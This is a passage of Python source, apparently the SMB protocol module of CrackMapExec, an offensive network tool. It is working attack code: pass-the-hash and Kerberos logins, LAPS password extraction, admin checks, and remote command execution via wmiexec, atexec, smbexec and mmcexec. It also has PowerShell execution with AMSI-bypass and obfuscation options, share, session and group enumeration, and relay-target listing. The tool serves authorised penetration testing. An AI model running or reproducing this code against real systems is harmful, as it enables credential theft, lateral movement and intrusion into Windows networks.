1836 lines
73 KiB
Python
Executable File
1836 lines
73 KiB
Python
Executable File
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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import ntpath
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import hashlib
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import binascii
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from io import StringIO
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from Cryptodome.Hash import MD4
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from impacket.smbconnection import SMBConnection, SessionError
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from impacket.smb import SMB_DIALECT
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from impacket.examples.secretsdump import (
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RemoteOperations,
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SAMHashes,
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LSASecrets,
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NTDSHashes,
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)
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from impacket.nmb import NetBIOSError, NetBIOSTimeout
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from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
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from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
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from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
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from impacket.dcerpc.v5.samr import SID_NAME_USE
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from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
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from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
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from impacket.krb5.types import KerberosException
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from impacket.dcerpc.v5.dtypes import NULL
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from impacket.dcerpc.v5.dcomrt import DCOMConnection
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from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login
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from cme.config import process_secret, host_info_colors
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from cme.connection import *
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from cme.logger import CMEAdapter
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from cme.protocols.smb.firefox import FirefoxTriage
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from cme.servers.smb import CMESMBServer
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from cme.protocols.smb.wmiexec import WMIEXEC
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from cme.protocols.smb.atexec import TSCH_EXEC
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from cme.protocols.smb.smbexec import SMBEXEC
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from cme.protocols.smb.mmcexec import MMCEXEC
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from cme.protocols.smb.smbspider import SMBSpider
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from cme.protocols.smb.passpol import PassPolDump
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from cme.protocols.smb.samruser import UserSamrDump
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from cme.protocols.smb.samrfunc import SamrFunc
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from cme.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
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from cme.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
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from cme.helpers.logger import highlight
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from cme.helpers.misc import *
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from cme.helpers.bloodhound import add_user_bh
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from cme.helpers.powershell import create_ps_command
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from dploot.triage.vaults import VaultsTriage
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from dploot.triage.browser import BrowserTriage
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from dploot.triage.credentials import CredentialsTriage
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from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
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from dploot.triage.backupkey import BackupkeyTriage
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from dploot.lib.target import Target
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from dploot.lib.smb import DPLootSMBConnection
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from pywerview.cli.helpers import *
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from time import time
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from datetime import datetime
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from functools import wraps
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from traceback import format_exc
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import logging
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from json import loads
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from termcolor import colored
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smb_share_name = gen_random_string(5).upper()
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smb_server = None
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smb_error_status = [
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"STATUS_ACCOUNT_DISABLED",
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"STATUS_ACCOUNT_EXPIRED",
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"STATUS_ACCOUNT_RESTRICTION",
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"STATUS_INVALID_LOGON_HOURS",
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"STATUS_INVALID_WORKSTATION",
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"STATUS_LOGON_TYPE_NOT_GRANTED",
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"STATUS_PASSWORD_EXPIRED",
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"STATUS_PASSWORD_MUST_CHANGE",
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"STATUS_ACCESS_DENIED",
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"STATUS_NO_SUCH_FILE",
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"KDC_ERR_CLIENT_REVOKED",
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"KDC_ERR_PREAUTH_FAILED",
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]
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def get_error_string(exception):
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if hasattr(exception, "getErrorString"):
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try:
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es = exception.getErrorString()
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except KeyError:
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return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
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if type(es) is tuple:
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return es[0]
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else:
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return es
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else:
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return str(exception)
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def requires_smb_server(func):
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def _decorator(self, *args, **kwargs):
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global smb_server
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global smb_share_name
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get_output = False
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payload = None
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methods = []
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try:
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payload = args[0]
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except IndexError:
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pass
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try:
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get_output = args[1]
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except IndexError:
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pass
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try:
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methods = args[2]
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except IndexError:
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pass
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if "payload" in kwargs:
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payload = kwargs["payload"]
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if "get_output" in kwargs:
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get_output = kwargs["get_output"]
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if "methods" in kwargs:
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methods = kwargs["methods"]
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if not payload and self.args.execute:
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if not self.args.no_output:
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get_output = True
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if get_output or (methods and ("smbexec" in methods)):
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if not smb_server:
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self.logger.debug("Starting SMB server")
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smb_server = CMESMBServer(
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self.cme_logger,
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smb_share_name,
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listen_port=self.args.smb_server_port,
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verbose=self.args.verbose,
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)
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smb_server.start()
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output = func(self, *args, **kwargs)
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if smb_server is not None:
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smb_server.shutdown()
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smb_server = None
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return output
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return wraps(func)(_decorator)
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class smb(connection):
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def __init__(self, args, db, host):
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self.domain = None
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self.server_os = None
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self.os_arch = 0
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self.hash = None
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self.lmhash = ""
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self.nthash = ""
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self.remote_ops = None
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self.bootkey = None
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self.output_filename = None
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self.smbv1 = None
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self.signing = False
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self.smb_share_name = smb_share_name
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self.pvkbytes = None
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self.no_da = None
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self.no_ntlm = False
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self.protocol = "SMB"
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connection.__init__(self, args, db, host)
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def proto_logger(self):
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self.logger = CMEAdapter(
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extra={
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"protocol": "SMB",
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"host": self.host,
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"port": self.args.port,
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"hostname": self.hostname,
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}
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)
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def get_os_arch(self):
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try:
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string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
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transport = DCERPCTransportFactory(string_binding)
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transport.set_connect_timeout(5)
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dce = transport.get_dce_rpc()
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if self.kerberos:
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dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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dce.connect()
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try:
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dce.bind(
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MSRPC_UUID_PORTMAP,
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transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
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)
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except DCERPCException as e:
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if str(e).find("syntaxes_not_supported") >= 0:
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dce.disconnect()
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return 32
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else:
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dce.disconnect()
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return 64
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except Exception as e:
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self.logger.debug(f"Error retrieving os arch of {self.host}: {str(e)}")
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return 0
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def enum_host_info(self):
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self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
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try:
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self.conn.login("", "")
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except BrokenPipeError:
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self.logger.fail(f"Broken Pipe Error while attempting to login")
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except Exception as e:
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if "STATUS_NOT_SUPPORTED" in str(e):
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# no ntlm supported
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self.no_ntlm = True
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pass
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self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
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self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
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self.server_os = self.conn.getServerOS()
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self.logger.extra["hostname"] = self.hostname
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if isinstance(self.server_os.lower(), bytes):
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self.server_os = self.server_os.decode("utf-8")
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try:
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self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
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except Exception as e:
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self.logger.debug(e)
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pass
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self.os_arch = self.get_os_arch()
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self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
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if not self.domain:
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self.domain = self.hostname
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self.db.add_host(
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self.host,
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self.hostname,
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self.domain,
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self.server_os,
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self.smbv1,
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self.signing,
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)
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try:
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# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
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self.conn.logoff()
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except Exception as e:
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self.logger.debug(f"Error logging off system: {e}")
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pass
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if self.args.domain:
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self.domain = self.args.domain
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if self.args.local_auth:
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self.domain = self.hostname
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def laps_search(self, username, password, ntlm_hash, domain):
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self.logger.extra["protocol"] = "LDAP"
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self.logger.extra["port"] = "389"
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ldapco = LDAPConnect(self.domain, "389", self.domain)
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if self.kerberos:
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if self.kdcHost is None:
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self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
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return False
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connection = ldapco.kerberos_login(
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domain,
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username[0] if username else "",
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password[0] if password else "",
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ntlm_hash[0] if ntlm_hash else "",
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kdcHost=self.kdcHost,
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aesKey=self.aesKey,
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)
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else:
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connection = ldapco.auth_login(
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domain,
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username[0] if username else "",
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password[0] if password else "",
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ntlm_hash[0] if ntlm_hash else "",
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)
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if not connection:
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self.logger.fail(f"LDAP connection failed with account {username[0]}")
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return False
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search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
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attributes = [
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"msLAPS-EncryptedPassword",
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"msLAPS-Password",
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"ms-MCS-AdmPwd",
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"sAMAccountName",
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]
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results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
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msMCSAdmPwd = ""
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sAMAccountName = ""
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username_laps = ""
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from impacket.ldap import ldapasn1 as ldapasn1_impacket
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results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
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if len(results) != 0:
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for host in results:
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values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
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if "mslaps-encryptedpassword" in values:
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msMCSAdmPwd = values["mslaps-encryptedpassword"]
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d = LAPSv2Extract(
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bytes(msMCSAdmPwd),
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username[0] if username else "",
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password[0] if password else "",
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domain,
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ntlm_hash[0] if ntlm_hash else "",
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self.args.kerberos,
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self.args.kdcHost,
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339)
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try:
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data = d.run()
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except Exception as e:
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self.logger.fail(str(e))
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return
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r = loads(data)
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msMCSAdmPwd = r["p"]
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username_laps = r["n"]
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elif "mslaps-password" in values:
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r = loads(str(values["mslaps-password"]))
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msMCSAdmPwd = r["p"]
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username_laps = r["n"]
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elif "ms-mcs-admpwd" in values:
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msMCSAdmPwd = str(values["ms-mcs-admpwd"])
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else:
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self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
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logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
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else:
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self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
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return False
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self.username = self.args.laps if not username_laps else username_laps
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self.password = msMCSAdmPwd
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if msMCSAdmPwd == "":
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self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
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return False
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if ntlm_hash:
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hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
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self.hash = binascii.hexlify(hash_ntlm).decode()
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self.domain = self.hostname
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self.logger.extra["protocol"] = "SMB"
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self.logger.extra["port"] = "445"
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return True
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def print_host_info(self):
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signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=['bold']) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=['bold'])
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smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=['bold']) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=['bold'])
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self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
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if self.args.laps:
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return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
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return True
|
|
|
|
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
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logging.getLogger("impacket").disabled = True
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# Re-connect since we logged off
|
|
if not self.no_ntlm:
|
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fqdn_host = f"{self.hostname}.{self.domain}"
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else:
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fqdn_host = f"{self.host}"
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self.create_conn_obj(fqdn_host)
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lmhash = ""
|
|
nthash = ""
|
|
|
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try:
|
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if not self.args.laps:
|
|
self.password = password
|
|
self.username = username
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(":") != -1:
|
|
lmhash, nthash = ntlm_hash.split(":")
|
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self.hash = nthash
|
|
else:
|
|
nthash = ntlm_hash
|
|
self.hash = ntlm_hash
|
|
if lmhash:
|
|
self.lmhash = lmhash
|
|
if nthash:
|
|
self.nthash = nthash
|
|
|
|
if not all("" == s for s in [self.nthash, password, aesKey]):
|
|
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
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else:
|
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kerb_pass = ""
|
|
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
|
|
|
|
self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
|
|
self.check_if_admin()
|
|
|
|
if username == "":
|
|
self.username = self.conn.getCredentials()[0]
|
|
else:
|
|
self.username = username
|
|
|
|
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
|
else:
|
|
self.plaintext_login(self.hostname, username, password)
|
|
return True
|
|
|
|
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
|
self.logger.success(out)
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, domain, self.logger, self.config)
|
|
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
if self.args.continue_on_success and self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
|
|
return True
|
|
except SessionKeyDecryptionError:
|
|
# success for now, since it's a vulnerability - previously was an error
|
|
self.logger.success(
|
|
f"{domain}\\{self.username} account vulnerable to asreproast attack",
|
|
color="yellow",
|
|
)
|
|
return False
|
|
except (FileNotFoundError, KerberosException) as e:
|
|
self.logger.fail(f"CCache Error: {e}")
|
|
return False
|
|
except OSError as e:
|
|
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
|
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
|
|
except (SessionError, Exception) as e:
|
|
error, desc = e.getErrorString()
|
|
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
|
self.logger.fail(
|
|
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(username)
|
|
return False
|
|
return False
|
|
|
|
def plaintext_login(self, domain, username, password):
|
|
# Re-connect since we logged off
|
|
self.create_conn_obj()
|
|
try:
|
|
if not self.args.laps:
|
|
self.password = password
|
|
self.username = username
|
|
self.domain = domain
|
|
|
|
self.conn.login(self.username, self.password, domain)
|
|
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
|
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
|
|
host_id = self.db.get_hosts(self.host)[0].id
|
|
|
|
self.db.add_loggedin_relation(user_id, host_id)
|
|
|
|
if self.admin_privs:
|
|
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
|
self.db.add_admin_user(
|
|
"plaintext",
|
|
domain,
|
|
self.username,
|
|
self.password,
|
|
self.host,
|
|
user_id=user_id,
|
|
)
|
|
|
|
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
if self.args.continue_on_success and self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
return True
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(
|
|
f'{domain}\\{self.username}:{process_secret(self.password )} {error} {f"({desc})" if self.args.verbose else ""}',
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(username)
|
|
return False
|
|
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
|
self.logger.fail(f"Connection Error: {e}")
|
|
return False
|
|
except BrokenPipeError as e:
|
|
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
|
return False
|
|
|
|
def hash_login(self, domain, username, ntlm_hash):
|
|
# Re-connect since we logged off
|
|
self.create_conn_obj()
|
|
lmhash = ""
|
|
nthash = ""
|
|
try:
|
|
if not self.args.laps:
|
|
self.username = username
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(":") != -1:
|
|
lmhash, nthash = ntlm_hash.split(":")
|
|
self.hash = nthash
|
|
else:
|
|
nthash = ntlm_hash
|
|
self.hash = ntlm_hash
|
|
if lmhash:
|
|
self.lmhash = lmhash
|
|
if nthash:
|
|
self.nthash = nthash
|
|
else:
|
|
nthash = self.hash
|
|
|
|
self.domain = domain
|
|
|
|
self.conn.login(self.username, "", domain, lmhash, nthash)
|
|
|
|
self.check_if_admin()
|
|
user_id = self.db.add_credential("hash", domain, self.username, nthash)
|
|
host_id = self.db.get_hosts(self.host)[0].id
|
|
|
|
self.db.add_loggedin_relation(user_id, host_id)
|
|
|
|
if self.admin_privs:
|
|
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
|
|
|
|
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
|
|
self.logger.success(out)
|
|
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
if self.args.continue_on_success and self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
return True
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(
|
|
f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(self.username)
|
|
return False
|
|
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
|
self.logger.fail(f"Connection Error: {e}")
|
|
return False
|
|
except BrokenPipeError as e:
|
|
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
|
return False
|
|
|
|
def create_smbv1_conn(self, kdc=""):
|
|
try:
|
|
self.conn = SMBConnection(
|
|
self.host if not kdc else kdc,
|
|
self.host if not kdc else kdc,
|
|
None,
|
|
self.args.port,
|
|
preferredDialect=SMB_DIALECT,
|
|
timeout=self.args.smb_timeout,
|
|
)
|
|
self.smbv1 = True
|
|
except socket.error as e:
|
|
if str(e).find("Connection reset by peer") != -1:
|
|
self.logger.info(f"SMBv1 might be disabled on {self.host if not kdc else kdc}")
|
|
return False
|
|
except (Exception, NetBIOSTimeout) as e:
|
|
self.logger.info(f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}")
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_smbv3_conn(self, kdc=""):
|
|
try:
|
|
self.conn = SMBConnection(
|
|
self.host if not kdc else kdc,
|
|
self.host if not kdc else kdc,
|
|
None,
|
|
self.args.port,
|
|
timeout=self.args.smb_timeout,
|
|
)
|
|
self.smbv1 = False
|
|
except socket.error as e:
|
|
# This should not happen anymore!!!
|
|
if str(e).find("Too many open files") != -1:
|
|
if not self.logger:
|
|
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
|
|
self.proto_logger()
|
|
self.logger.fail(f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}")
|
|
return False
|
|
except (Exception, NetBIOSTimeout) as e:
|
|
self.logger.info(f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}")
|
|
return False
|
|
return True
|
|
|
|
def create_conn_obj(self, kdc=""):
|
|
if self.create_smbv1_conn(kdc):
|
|
return True
|
|
elif self.create_smbv3_conn(kdc):
|
|
return True
|
|
return False
|
|
|
|
def check_if_admin(self):
|
|
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
|
|
dce = rpctransport.get_dce_rpc()
|
|
try:
|
|
dce.connect()
|
|
except:
|
|
pass
|
|
else:
|
|
try:
|
|
dce.bind(scmr.MSRPC_UUID_SCMR)
|
|
except:
|
|
pass
|
|
try:
|
|
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
|
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
|
ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
|
|
self.admin_privs = True
|
|
except scmr.DCERPCException:
|
|
self.admin_privs = False
|
|
pass
|
|
return
|
|
|
|
def gen_relay_list(self):
|
|
if self.server_os.lower().find("windows") != -1 and self.signing is False:
|
|
with sem:
|
|
with open(self.args.gen_relay_list, "a+") as relay_list:
|
|
if self.host not in relay_list.read():
|
|
relay_list.write(self.host + "\n")
|
|
|
|
@requires_admin
|
|
# @requires_smb_server
|
|
def execute(self, payload=None, get_output=False, methods=None):
|
|
if self.args.exec_method:
|
|
methods = [self.args.exec_method]
|
|
if not methods:
|
|
methods = ["wmiexec", "atexec", "smbexec", "mmcexec"]
|
|
|
|
if not payload and self.args.execute:
|
|
payload = self.args.execute
|
|
if not self.args.no_output:
|
|
get_output = True
|
|
|
|
current_method = ""
|
|
for method in methods:
|
|
current_method = method
|
|
if method == "wmiexec":
|
|
try:
|
|
exec_method = WMIEXEC(
|
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.conn,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash,
|
|
self.args.share,
|
|
logger=self.logger,
|
|
timeout=self.args.dcom_timeout,
|
|
tries=self.args.get_output_tries
|
|
)
|
|
self.logger.info("Executed command via wmiexec")
|
|
break
|
|
except:
|
|
self.logger.debug("Error executing command via wmiexec, traceback:")
|
|
self.logger.debug(format_exc())
|
|
continue
|
|
elif method == "mmcexec":
|
|
try:
|
|
exec_method = MMCEXEC(
|
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.conn,
|
|
self.args.share,
|
|
self.hash,
|
|
self.logger,
|
|
self.args.get_output_tries,
|
|
self.args.dcom_timeout
|
|
)
|
|
self.logger.info("Executed command via mmcexec")
|
|
break
|
|
except:
|
|
self.logger.debug("Error executing command via mmcexec, traceback:")
|
|
self.logger.debug(format_exc())
|
|
continue
|
|
elif method == "atexec":
|
|
try:
|
|
exec_method = TSCH_EXEC(
|
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash,
|
|
self.logger,
|
|
self.args.get_output_tries
|
|
) # self.args.share)
|
|
self.logger.info("Executed command via atexec")
|
|
break
|
|
except:
|
|
self.logger.debug("Error executing command via atexec, traceback:")
|
|
self.logger.debug(format_exc())
|
|
continue
|
|
elif method == "smbexec":
|
|
try:
|
|
exec_method = SMBEXEC(
|
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
|
self.smb_share_name,
|
|
self.conn,
|
|
self.args.port,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash,
|
|
self.args.share,
|
|
self.args.port,
|
|
self.logger,
|
|
self.args.get_output_tries
|
|
)
|
|
self.logger.info("Executed command via smbexec")
|
|
break
|
|
except:
|
|
self.logger.debug("Error executing command via smbexec, traceback:")
|
|
self.logger.debug(format_exc())
|
|
continue
|
|
|
|
if hasattr(self, "server"):
|
|
self.server.track_host(self.host)
|
|
|
|
if "exec_method" in locals():
|
|
output = exec_method.execute(payload, get_output)
|
|
try:
|
|
if not isinstance(output, str):
|
|
output = output.decode(self.args.codec)
|
|
except UnicodeDecodeError:
|
|
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
|
|
output = output.decode("cp437")
|
|
|
|
output = output.strip()
|
|
self.logger.debug(f"Output: {output}")
|
|
|
|
if (self.args.execute or self.args.ps_execute) and output:
|
|
self.logger.success(f"Executed command via {current_method}")
|
|
buf = StringIO(output).readlines()
|
|
for line in buf:
|
|
self.logger.highlight(line.strip())
|
|
return output
|
|
else:
|
|
self.logger.fail(f"Execute command failed with {current_method}")
|
|
return False
|
|
|
|
@requires_admin
|
|
def ps_execute(
|
|
self,
|
|
payload=None,
|
|
get_output=False,
|
|
methods=None,
|
|
force_ps32=False,
|
|
dont_obfs=False,
|
|
):
|
|
response = []
|
|
if not payload and self.args.ps_execute:
|
|
payload = self.args.ps_execute
|
|
if not self.args.no_output:
|
|
get_output = True
|
|
|
|
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
|
if os.path.isfile(payload):
|
|
with open(payload) as commands:
|
|
for c in commands:
|
|
response.append(
|
|
self.execute(
|
|
create_ps_command(
|
|
c,
|
|
force_ps32=force_ps32,
|
|
dont_obfs=dont_obfs,
|
|
custom_amsi=amsi_bypass,
|
|
),
|
|
get_output,
|
|
methods,
|
|
)
|
|
)
|
|
else:
|
|
response = [
|
|
self.execute(
|
|
create_ps_command(
|
|
payload,
|
|
force_ps32=force_ps32,
|
|
dont_obfs=dont_obfs,
|
|
custom_amsi=amsi_bypass,
|
|
),
|
|
get_output,
|
|
methods,
|
|
)
|
|
]
|
|
return response
|
|
|
|
def shares(self):
|
|
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
|
permissions = []
|
|
|
|
try:
|
|
self.logger.debug(f"domain: {self.domain}")
|
|
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
self.logger.fail(f"Error getting user: {error}")
|
|
pass
|
|
|
|
try:
|
|
shares = self.conn.listShares()
|
|
self.logger.info(f"Shares returned: {shares}")
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
self.logger.fail(
|
|
f"Error enumerating shares: {error}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
return permissions
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
self.logger.fail(
|
|
f"Error enumerating shares: {error}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
return permissions
|
|
|
|
for share in shares:
|
|
share_name = share["shi1_netname"][:-1]
|
|
share_remark = share["shi1_remark"][:-1]
|
|
share_info = {"name": share_name, "remark": share_remark, "access": []}
|
|
read = False
|
|
write = False
|
|
try:
|
|
self.conn.listPath(share_name, "*")
|
|
read = True
|
|
share_info["access"].append("READ")
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
self.logger.debug(f"Error checking READ access on share: {error}")
|
|
pass
|
|
|
|
if not self.args.no_write_check:
|
|
try:
|
|
self.conn.createDirectory(share_name, temp_dir)
|
|
self.conn.deleteDirectory(share_name, temp_dir)
|
|
write = True
|
|
share_info["access"].append("WRITE")
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
self.logger.debug(f"Error checking WRITE access on share: {error}")
|
|
pass
|
|
|
|
permissions.append(share_info)
|
|
|
|
if share_name != "IPC$":
|
|
try:
|
|
# TODO: check if this already exists in DB before adding
|
|
self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write)
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
self.logger.debug(f"Error adding share: {error}")
|
|
pass
|
|
|
|
self.logger.display("Enumerated shares")
|
|
self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}")
|
|
self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}")
|
|
for share in permissions:
|
|
name = share["name"]
|
|
remark = share["remark"]
|
|
perms = share["access"]
|
|
if self.args.filter_shares and not any(x in perms for x in self.args.filter_shares):
|
|
continue
|
|
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
|
|
return permissions
|
|
|
|
def get_dc_ips(self):
|
|
dc_ips = []
|
|
for dc in self.db.get_domain_controllers(domain=self.domain):
|
|
dc_ips.append(dc[1])
|
|
if not dc_ips:
|
|
dc_ips.append(self.host)
|
|
return dc_ips
|
|
|
|
def sessions(self):
|
|
try:
|
|
sessions = get_netsession(
|
|
self.host,
|
|
self.domain,
|
|
self.username,
|
|
self.password,
|
|
self.lmhash,
|
|
self.nthash,
|
|
)
|
|
self.logger.display("Enumerated sessions")
|
|
for session in sessions:
|
|
if session.sesi10_cname.find(self.local_ip) == -1:
|
|
self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}")
|
|
return sessions
|
|
except:
|
|
pass
|
|
|
|
def disks(self):
|
|
disks = []
|
|
try:
|
|
disks = get_localdisks(
|
|
self.host,
|
|
self.domain,
|
|
self.username,
|
|
self.password,
|
|
self.lmhash,
|
|
self.nthash,
|
|
)
|
|
self.logger.display("Enumerated disks")
|
|
for disk in disks:
|
|
self.logger.highlight(disk.disk)
|
|
except Exception as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.fail(
|
|
f"Error enumerating disks: {error}",
|
|
color="magenta" if error in smb_error_status else "red",
|
|
)
|
|
|
|
return disks
|
|
|
|
def local_groups(self):
|
|
groups = []
|
|
# To enumerate local groups the DC IP is optional
|
|
# if specified it will resolve the SIDs and names of any domain accounts in the local group
|
|
for dc_ip in self.get_dc_ips():
|
|
try:
|
|
groups = get_netlocalgroup(
|
|
self.host,
|
|
dc_ip,
|
|
"",
|
|
self.username,
|
|
self.password,
|
|
self.lmhash,
|
|
self.nthash,
|
|
queried_groupname=self.args.local_groups,
|
|
list_groups=True if not self.args.local_groups else False,
|
|
recurse=False,
|
|
)
|
|
|
|
if self.args.local_groups:
|
|
self.logger.success("Enumerated members of local group")
|
|
else:
|
|
self.logger.success("Enumerated local groups")
|
|
|
|
for group in groups:
|
|
if group.name:
|
|
if not self.args.local_groups:
|
|
self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}")
|
|
group_id = self.db.add_group(
|
|
self.hostname,
|
|
group.name,
|
|
member_count_ad=group.membercount,
|
|
)[0]
|
|
else:
|
|
domain, name = group.name.split("/")
|
|
self.logger.highlight(f"domain: {domain}, name: {name}")
|
|
